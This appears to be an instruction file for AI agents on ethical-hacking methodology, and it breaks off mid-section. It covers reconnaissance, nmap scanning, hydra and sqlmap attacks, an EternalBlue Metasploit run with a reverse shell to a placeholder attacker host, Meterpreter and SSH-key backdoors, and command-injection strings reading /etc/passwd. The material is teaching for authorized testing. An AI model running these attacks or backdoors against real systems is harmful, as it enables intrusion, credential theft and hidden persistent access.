ethical-hacking-methodology – Security skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

> AUTHORIZED USE ONLY: Use this skill only for authorized penetration testing engagements, defensive validation, or controlled educational environments.

Ethical Hacking Methodology

Purpose

Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.

Prerequisites

Required Environment

• Kali Linux installed (persistent or live)
• Network access to authorized targets
• Written authorization from system owner

Required Knowledge

• Basic networking concepts
• Linux command-line proficiency
• Understanding of web technologies
• Familiarity with security concepts

Outputs and Deliverables

1. Reconnaissance Report - Target information gathered

2. Vulnerability Assessment - Identified weaknesses

3. Exploitation Evidence - Proof of concept attacks

4. Final Report - Executive and technical findings

Core Workflow

Phase 1: Understanding Hacker Types

Classification of security professionals:

White Hat Hackers (Ethical Hackers)

• Authorized security professionals
• Conduct penetration testing with permission
• Goal: Identify and fix vulnerabilities
• Also known as: penetration testers, security consultants

Black Hat Hackers (Malicious)

• Unauthorized system intrusions
• Motivated by profit, revenge, or notoriety
• Goal: Steal data, cause damage
• Also known as: crackers, criminal hackers

Grey Hat Hackers (Hybrid)

• May cross ethical boundaries
• Not malicious but may break rules
• Often disclose vulnerabilities publicly
• Mixed motivations

Other Classifications

• Script Kiddies: Use pre-made tools without understanding
• Hacktivists: Politically or socially motivated
• Nation State: Government-sponsored operatives
• Coders: Develop tools and exploits

Phase 2: Reconnaissance

Separate third-party passive research from DNS lookups and tools that may directly contact infrastructure. DNS enumeration and dnsrecon are not guaranteed passive:

Passive Reconnaissance

# WHOIS lookup
whois target.com

# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS

# Subdomain discovery
dnsrecon -d target.com

# Email harvesting
theHarvester -d target.com -b all

Google Hacking (OSINT)

# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc

# Find login pages
site:target.com inurl:login
site:target.com inurl:admin

# Find directory listings
site:target.com intitle:"index of"

# Find configuration files
site:target.com filetype:config
site:target.com filetype:env

Google Hacking Database Categories:

• Files containing passwords
• Sensitive directories
• Web server detection
• Vulnerable servers
• Error messages
• Login portals

Social Media Reconnaissance

• LinkedIn: Organizational charts, technologies used
• Twitter: Company announcements, employee info
• Facebook: Personal information, relationships
• Job postings: Technology stack revelations

Phase 3: Scanning

Active enumeration of target systems:

Host Discovery

# Ping sweep
nmap -sn 192.168.1.0/24

# ARP scan (local network)
arp-scan -l

# Discover live hosts
nmap -sP 192.168.1.0/24

Port Scanning

# TCP SYN scan (stealth)
nmap -sS target.com

# Full TCP connect scan
nmap -sT target.com

# UDP scan
nmap -sU target.com

# All ports scan
nmap -p- target.com

# Top 1000 ports with service detection
nmap -sV target.com

# Aggressive scan (OS, version, scripts)
nmap -A target.com

Service Enumeration

# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com

# Vulnerability scanning
nmap --script=vuln target.com

Common Port Reference

| Port | Service | Notes |

|------|---------|-------|

| 21 | FTP | File transfer |

| 22 | SSH | Secure shell |

| 23 | Telnet | Unencrypted remote |

| 25 | SMTP | Email |

| 53 | DNS | Name resolution |

| 80 | HTTP | Web |

| 443 | HTTPS | Secure web |

| 445 | SMB | Windows shares |

| 3306 | MySQL | Database |

| 3389 | RDP | Remote desktop |

Phase 4: Vulnerability Analysis

Identify exploitable weaknesses:

Automated Scanning

# Nikto web scanner
nikto -h http://target.com

# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"

# Nessus: use the documented current UI or API scan workflow;
# nessuscli is not a generic scan --target interface.

Web Application Testing (OWASP)

• SQL Injection
• Cross-Site Scripting (XSS)
• Broken Authentication
• Security Misconfiguration
• Sensitive Data Exposure
• XML External Entities (XXE)
• Broken Access Control
• Insecure Deserialization
• Using Components with Known Vulnerabilities
• Insufficient Logging & Monitoring

Manual Techniques

# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Web technology fingerprinting
whatweb target.com

Phase 5: Exploitation

Actively exploit discovered vulnerabilities:

Metasploit Framework

# Start Metasploit
msfconsole

# Search for exploits
msf> search type:exploit name:smb

# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue

# Set target
msf> set RHOSTS target.com

# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip

# Execute
msf> exploit

Password Attacks

# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Web Exploitation

# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

# XSS testing
# Manual: <script>alert('XSS')</script>

# Command injection testing
# ; ls -la
# | cat /etc/passwd

Phase 6: Controlled Access Validation

Persistence is not a routine assessment step. Prefer a disposable lab; any persistence simulation requires separate explicit scope, an expiry, owner-visible artifacts and verified cleanup. Preserve logs and never conceal activity.

Backdoors

# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip

# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys

# Cron job persistence
# Do not append arbitrary jobs to system crontab; use a reviewed temporary
# lab-only test artifact with explicit user, expiry and rollback.

Privilege Escalation

# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh

# Windows enumeration
winpeas.exe
windows-exploit-suggester.py

# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null

# Check sudo permissions
sudo -l

Evidence Preservation and Cleanup

• Document all actions taken
• Maintain logs for reporting
• Avoid unnecessary system changes
• Clean up test files and backdoors

Phase 7: Reporting

Document findings professionally:

Report Structure

1. Executive Summary

• High-level findings
• Business impact
• Risk ratings
• Remediation priorities

2. Technical Findings

• Vulnerability details
• Proof of concept
• Screenshots/evidence
• Affected systems

3. Risk Ratings

• Critical: Immediate action required
• High: Address within 24-48 hours
• Medium: Address within 1 week
• Low: Address within 1 month
• Informational: Best practice recommendations

4. Remediation Recommendations

• Specific fixes for each finding
• Short-term mitigations
• Long-term solutions
• Resource requirements

5. Appendices

• Detailed scan outputs
• Tool configurations
• Testing timeline
• Scope and methodology

Phase 8: Common Attack Types

Phishing

• Ema

… (full content is in the download package)